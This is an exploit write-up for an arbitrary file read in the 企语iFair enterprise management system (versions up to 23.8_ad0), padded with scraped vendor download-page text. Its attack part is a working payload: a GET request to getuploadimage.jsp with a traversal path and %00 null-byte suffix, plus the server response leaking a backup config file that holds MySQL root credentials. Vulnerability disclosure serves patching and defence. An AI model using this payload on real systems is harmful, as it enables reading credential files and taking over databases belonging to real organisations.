

企语iFair Any file read

0x1

Exploit Title: 企语iFair Any file read

Date: 2023-11-8

Exploit Author: sunke

Vendor Homepage: <http://www.fuwushe.org/jsp/download/?page=download>

Version <= 23.8_ad0

0x1

— 服务创造和谐 —

服务社

首页 下载中心 支持与服务 云服务 HC服务 问答专区 练习专区 最新动态 常见问题 合作 关于我们

搜索本站

登录 | 注册

企语iFair (23.8_ad0) 系统

它是一款功能强大的高端企业管理软件：集成了主控系统（CC）、协同办公系统（OA）、培训系统（TC）、付款审批及预算系统（PB）、人力资源管理系统（HR）、财务系统（FM）、客户关系管理系统（CRM）、分销与物流管理系统（DL）等多个功能强大的管理软件，以全新架构实现了企业各种业务间的协同管理。

下载安装包

下载全部使用手册

如需下载F23.2_ad0，可以点击查看

下载安装包（提取码：sxfr）

百度网盘下载（提取码：zxmz）

F23.2_ad0安装包和手册的下载地址

程序下载及安装说明

1. 企语系统是免费的企业管理软件，您可以直接下载并使用。

2. 本系统需要安装在Linux服务器上，要求服务器的CPU和操作系统均为64位，且内存不小于32G。

3. 下载的安装包可以直接使用安装脚本自动安装，不需要解压；下载的使用手册解压后，可以得到二个文件夹：《企语系统基础》系列、《企语系统使用教程》系列。注意：必须先认真查看并完全掌握手册中的内容，再开始安装、使用。

使用手册

《企语系统基础》系列

ERP使用很简单	4页	企语系统是什么	11页
企语系统实施手册	37页	维护和升级很简单	26页

《企语系统使用教程》系列

主控系统使用教程(上)	141页	主控系统使用教程(下)	94页
协同办公系统使用教程(上)	231页	协同办公系统使用教程(下)	259页
付款审批及预算系统使用教程(上)	194页	付款审批及预算系统使用教程(中)	94页
付款审批及预算系统使用教程(下)	343页	培训系统使用教程	51页

系统升级说明

怎样从F22.8_ad0升级到F23.2_ad0

怎样从F21.8_ad0升级到F22.8_ad0

怎样从F21.2_ad0升级到F21.8_ad0

怎样从F20.8_ad0升级到F21.2_ad0

怎样从F20.2_ad0升级到F20.8_ad0

怎样从F19.8_ad0升级到F20.2_ad0

怎样从F19.2_ad0升级到F19.8_ad0

怎样从F18.8_ad0升级到F19.2_ad0

<http://192.168.204.239:8080/oa/common/components/upload/getuploadimage.jsp?imageURL=C:\Fuwushe\backup\MyAdmin.ini%001.png>

请求

Pretty 原始 十六进制

```
1 GET /oa/common/components/upload/getuploadimage.jsp?
  imageURL=C:\Fuwushe\backup\MyAdmin.ini%001.png HTTP/1.1
2 Host: 192.168.204.239:8080
3 Cache-Control: max-age=0
4 Upgrade-Insecure-Requests: 1
5 Origin: http://192.168.204.239:8080
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0
  Safari/537.36 Edg/113.0.1774.7
7 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,imag
  e/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=
  b3;q=0.7
8 Referer:
  http://192.168.204.239:8080/oa/common/components/upload/up
  load.jsp?actionmethod=uploadMyDocAttach&uuid=7308917442014
  233928&categoryld=1
9 Accept-Encoding: gzip, deflate
10 Accept-Language:
  zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
11 Cookie: JSESSIONID=99F329A692B915D9C673C078BFE5D6A1;
  Cookie_Lang_OA=zh_CN; LoginId_OA=admin
12 Connection: close
13
14
```

响应

Pretty 原始 十六进制 Render

```
1 HTTP/1.1 200 OK
2 Server: Apache-Coyote/1.1
3 Content-Type: image/jpeg;charset=UTF-8
4 Date: Fri, 27 Oct 2023 02:00:35 GMT
5 Connection: close
6
7 [Settings]
8 Language=□ □ □ □ □ □ □ □
9 AutoRun=1
10 MinimizedOnLoad=1
11 [BackupTimer]
12 Database=stfoa,
13 SavePath=D:\f-backup\
14 CycleType=1
15 CyclePeriod=1
16 DateY=2009
17 DateM=8
18 DateD=28
19 TimeH=3
20 TimeI=0
21 TimeS=0
22 AutoExec=1
23 [MySQL]
24 Host=localhost
25 User=root
26 Password=3.1415926
27 Port=13306
28 [Backup]
29 Database=stfoa,
30 [Tools]
31 Database=stfoa,
32
```